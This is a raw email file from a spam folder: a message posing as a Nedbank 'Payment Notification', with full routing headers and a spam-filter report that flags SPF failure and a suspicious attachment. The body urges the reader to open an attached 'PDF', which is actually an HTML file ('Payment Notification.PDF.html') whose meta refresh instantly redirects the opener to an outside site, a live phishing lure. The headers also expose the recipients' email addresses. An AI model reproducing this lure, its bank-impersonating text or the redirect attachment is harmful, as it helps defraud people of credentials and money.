File: /home/govancoz/mail/.spam/new/1722919837.M998274P3850875.zacp120.ve.host,S=6076,W=6210
Return-Path: <notification@nedbank.co.za>
Delivered-To: govancoz+spam@zacp120.ve.host
Received: from zacp120.ve.host
by zacp120.ve.host with LMTP
id gLfsOp2rsWZ7wjoAvcbEzQ
(envelope-from <notification@nedbank.co.za>)
for <govancoz+spam@zacp120.ve.host>; Tue, 06 Aug 2024 06:50:37 +0200
Return-path: <notification@nedbank.co.za>
Envelope-to: candice@govan.co.za
Delivery-date: Tue, 06 Aug 2024 06:50:37 +0200
Received: from 42-200-210-96.static.imsbiz.com ([42.200.210.96]:60048 helo=mail.refholdings.com.hk)
by zacp120.ve.host with esmtp (Exim 4.97.1)
(envelope-from <notification@nedbank.co.za>)
id 1sbC9a-0000000G9hv-1BL5
for candice@govan.co.za;
Tue, 06 Aug 2024 06:50:37 +0200
Received: from localhost (localhost [127.0.0.1])
by newuniversegroup.com (Postfix) with ESMTP id 31E9F40EFF78;
Tue, 6 Aug 2024 12:49:51 +0800 (HKT)
X-Virus-Scanned: amavisd-new at newuniversegroup.com
Received: from newuniversegroup.com ([127.0.0.1])
by localhost (mail.refholdings.com.hk [127.0.0.1]) (amavisd-new, port 10024)
with LMTP id GKRNU0_zqJt9; Tue, 6 Aug 2024 12:49:49 +0800 (HKT)
Received: from [192.168.0.3] (unknown [197.184.181.60])
by newuniversegroup.com (Postfix) with ESMTPA id 0569F40EFCA6;
Tue, 6 Aug 2024 12:48:58 +0800 (HKT)
Content-Type: multipart/mixed; boundary="===============1850370024=="
MIME-Version: 1.0
To: Recipients <notification@nedbank.co.za>
From: Nedbank <notification@nedbank.co.za>
Date: Mon, 05 Aug 2024 21:48:53 -0700
X-Spam-Status: Yes, score=14.5
X-Spam-Score: 145
X-Spam-Bar: ++++++++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.ve.host",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: A payment has been made to your account. To view the details
of the payment, please open the attached PDF file. You may require Adobe
Acrobat Reader on your computer to open the PDF file. Please do not reply
as this email was sent from an unattended mailbox.
Content analysis details: (14.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 TVD_RCVD_IP Message was received from an IP address
4.0 SPF_FAIL SPF: sender does not match SPF record (fail)
[SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=notification%40nedbank.co.za;ip=42.200.210.96;r=zacp120.ve.host]
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 HTML_TAG_BALANCE_BODY BODY: HTML has unbalanced "body" tags
0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags
1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
[cf: 100]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[42.200.210.96 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[42.200.210.96 listed in bl.score.senderscore.com]
3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing
1.5 KAM_DMARC_QUARANTINE DKIM has Failed or SPF has failed on the
message and the domain has a DMARC
quarantine policy
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.0 T_HTML_ATTACH HTML attachment to bypass scanning?
0.0 FSL_BULK_SIG Bulk signature with no Unsubscribe
0.0 TO_EQ_FM_DOM_SPF_FAIL To domain == From domain and external SPF
failed
1.2 TO_EQ_FM_SPF_FAIL To == From and external SPF failed
X-Spam-Flag: YES
Subject: ***SPAM*** Payment Notification
You will not see this in a MIME-aware mail reader.
--===============1850370024==
Content-Type: multipart/alternative; boundary="===============0027740575=="
MIME-Version: 1.0
--===============0027740575==
Content-Type: text/plain; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
A payment has been made to your account.
To view the details of the payment, please open the attached PDF file.
=
You may require Adobe Acrobat Reader on your computer to open the PDF file.
=
Please do not reply as this email was sent from an unattended mailbox.
--===============0027740575==
Content-Type: text/html; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
<HTML><head>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859-=
1"></head><body><p>A payment has been made to your account.<br>
To view the details of the payment, please open the attached PDF file.<br>
<br>
You may require Adobe Acrobat Reader on your computer to open the PDF file.=
<br>
<br>
Please do not reply as this email was sent from an unattended mailbox.</p><=
/BODY></HTML>
--===============0027740575==--
--===============1850370024==
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="Payment Notification.PDF.html"
<!DOCTYPE html>
<meta http-equiv=3D"refresh" content=3D"00;https://aminsms.com/EPDoz">
<body class=3D"center">
</html>
--===============1850370024==--